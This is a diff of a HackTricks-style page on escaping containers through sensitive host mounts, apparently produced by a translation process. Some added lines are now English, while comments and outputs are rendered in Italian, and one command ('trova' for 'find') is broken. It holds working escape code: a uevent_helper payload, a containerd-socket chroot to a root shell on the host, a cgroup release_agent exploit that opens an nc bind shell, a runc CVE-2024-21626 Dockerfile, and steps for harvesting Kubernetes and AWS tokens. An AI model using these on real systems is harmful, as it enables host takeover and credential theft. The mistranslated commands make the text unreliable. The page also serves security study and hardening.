diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index bb66b42bd..29f4117e1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -L'esposizione di `/proc`, `/sys` e `/var` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto. +L'esposizione di `/proc`, `/sys` e `/var` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusa l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto. **Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** @@ -126,86 +126,94 @@ echo b > /proc/sysrq-trigger # Riavvia l'host - Fornisce informazioni sui punti di montaggio nello spazio dei nomi di montaggio del processo. - Espone la posizione del `rootfs` o dell'immagine del container. -### Vulnerabilità di `/sys` +### Vulnerabilità in `/sys` #### **`/sys/kernel/uevent_helper`** - Utilizzato per gestire i `uevents` dei dispositivi del kernel. - Scrivere in `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent`. -- **Esempio di Sfruttamento**: %%%bash +- **Esempio di Sfruttamento**: +```bash -#### Crea un payload +#### Creates a payload echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -#### Trova il percorso host dal montaggio OverlayFS per il container +#### Finds host path from OverlayFS mount for container host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) -#### Imposta uevent_helper su helper malevolo +#### Sets uevent_helper to malicious helper echo "$host_path/evil-helper" > /sys/kernel/uevent_helper -#### Attiva un uevent +#### Triggers a uevent echo change > /sys/class/mem/null/uevent -#### Legge l'output +#### Reads the output -cat /output %%% +cat /output +``` #### **`/sys/class/thermal`** -- Controlla le impostazioni di temperatura, potenzialmente causando attacchi DoS o danni fisici. +- Controls temperature settings, potentially causing DoS attacks or physical damage. #### **`/sys/kernel/vmcoreinfo`** -- Rilascia indirizzi del kernel, compromettendo potenzialmente KASLR. +- Leaks kernel addresses, potentially compromising KASLR. #### **`/sys/kernel/security`** -- Contiene l'interfaccia `securityfs`, che consente la configurazione dei Moduli di Sicurezza Linux come AppArmor. -- L'accesso potrebbe consentire a un container di disabilitare il proprio sistema MAC. +- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. +- Access might enable a container to disable its MAC system. -#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** -- Espone interfacce per interagire con le variabili EFI in NVRAM. -- Una configurazione errata o uno sfruttamento possono portare a laptop bloccati o macchine host non avviabili. +- Exposes interfaces for interacting with EFI variables in NVRAM. +- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. #### **`/sys/kernel/debug`** -- `debugfs` offre un'interfaccia di debug "senza regole" al kernel. -- Storia di problemi di sicurezza a causa della sua natura illimitata. +- `debugfs` offers a "no rules" debugging interface to the kernel. +- History of security issues due to its unrestricted nature. -### Vulnerabilità di `/var` +### `/var` Vulnerabilities -La cartella **/var** dell'host contiene socket di runtime del container e i filesystem dei container. Se questa cartella è montata all'interno di un container, quel container avrà accesso in lettura-scrittura ai filesystem di altri container con privilegi di root. Questo può essere abusato per passare tra i container, causare un denial of service o inserire backdoor in altri container e applicazioni che vi girano. +The host's **/var** folder contains container runtime sockets and the containers' filesystems. +If this folder is mounted inside a container, that container will get read-write access to other containers' file systems +with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other +containers and applications that run in them. #### Kubernetes -Se un container come questo è distribuito con Kubernetes: +If a container like this is deployed with Kubernetes: + ```yaml -apiVersion: v1 -kind: Pod -metadata: -name: pod-mounts-var -labels: -app: pentest -spec: -containers: -- name: pod-mounts-var-folder -image: alpine -volumeMounts: -- mountPath: /host-var -name: noderoot -command: [ "/bin/sh", "-c", "--" ] -args: [ "while true; do sleep 30; done;" ] -volumes: -- name: noderoot -hostPath: -path: /var +apiVersion: v1 +kind: Pod +metadata: + name: pod-mounts-var + labels: + app: pentest +spec: + containers: + - name: pod-mounts-var-folder + image: alpine + volumeMounts: + - mountPath: /host-var + name: noderoot + command: [ "/bin/sh", "-c", "--" ] + args: [ "while true; do sleep 30; done;" ] + volumes: + - name: noderoot + hostPath: + path: /var ``` -Dentro del contenitore **pod-mounts-var-folder**: + +Inside the **pod-mounts-var-folder** container: + ```bash / # find /host-var/ -type f -iname '*.env*' 2>/dev/null @@ -223,53 +231,125 @@ REFRESH_TOKEN_SECRET=14ea /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html -/ # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh +/ # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh are/nginx/html/index2.html ``` -L'XSS è stato ottenuto: + +The XSS was achieved: ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png) -Nota che il container NON richiede un riavvio o altro. Qualsiasi modifica effettuata tramite la cartella montata **/var** verrà applicata istantaneamente. +Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly. -Puoi anche sostituire file di configurazione, binari, servizi, file di applicazione e profili di shell per ottenere RCE automatico (o semi-automatico). +You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE. -##### Accesso alle credenziali cloud +##### Access to cloud credentials + +The container can read K8s serviceaccount tokens or AWS webidentity tokens +which allows the container to gain unauthorized access to K8s or cloud: -Il container può leggere i token del serviceaccount K8s o i token webidentity AWS -che consentono al container di ottenere accesso non autorizzato a K8s o al cloud: ```bash -/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io +/ # trova /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token ``` + #### Docker -Lo sfruttamento in Docker (o nelle distribuzioni Docker Compose) è esattamente lo stesso, tranne per il fatto che di solito i filesystem degli altri container sono disponibili sotto un percorso di base diverso: +The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually +the other containers' filesystems are available under a different base path: + ```bash $ docker info | grep -i 'docker root\|storage driver' -Storage Driver: overlay2 -Docker Root Dir: /var/lib/docker +Driver di archiviazione: overlay2 +Directory principale di Docker: /var/lib/docker ``` -Quindi i filesystem si trovano sotto `/var/lib/docker/overlay2/`: + +So the filesystems are under `/var/lib/docker/overlay2/`: + ```bash $ sudo ls -la /var/lib/docker/overlay2 -drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d -drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496 -drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f -drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2 +drwx--x--- 4 root root 4096 9 gen 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d +drwx--x--- 4 root root 4096 11 gen 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496 +drwx--x--- 4 root root 4096 9 gen 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f +drwx--x--- 4 root root 4096 9 gen 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2 ``` -#### Nota -I percorsi effettivi possono differire in diverse configurazioni, motivo per cui la tua migliore opzione è utilizzare il comando **find** per localizzare i filesystem degli altri container e i token di identità SA / web. +#### Note -### Riferimenti +The actual paths may differ in different setups, which is why your best bet is to use the **find** command to +locate the other containers' filesystems and SA / web identity tokens + + +### Other Sensitive Host Sockets and Directories (2023-2025) + +Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**: + +```text +/run/containerd/containerd.sock # socket CRI di containerd +/var/run/crio/crio.sock # socket di runtime CRI-O +/run/podman/podman.sock # API di Podman (con root o senza root) +/var/run/kubelet.sock # API di Kubelet sui nodi Kubernetes +/run/firecracker-containerd.sock # Kata / Firecracker +``` + +Attack example abusing a mounted **containerd** socket: + +```bash +# dentro del contenitore (il socket è montato su /host/run/containerd.sock) +ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest +ctr --address /host/run/containerd.sock run --tty --privileged --mount \ +type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh +chroot /host /bin/bash # shell root completa sull'host +``` + +A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed. + +Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace: + +```bash +# assumendo che il container abbia CAP_SYS_ADMIN e un kernel vulnerabile +mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release + +echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # richiede CVE-2022-0492 + +echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn +sh -c "echo 0 > /tmp/x/cgroup.procs" # attiva l'evento empty-cgroup +``` + +When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse. + +### Mount-Related Escape CVEs (2023-2025) + +* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak** +runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14). + +```Dockerfile +FROM scratch +WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime +CMD ["/bin/sh"] +``` + +* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU** +A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon. + +### Hardening Reminders (2025) + +1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options. +2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly. +3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14). +4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above. + +### References + +- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv) +- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)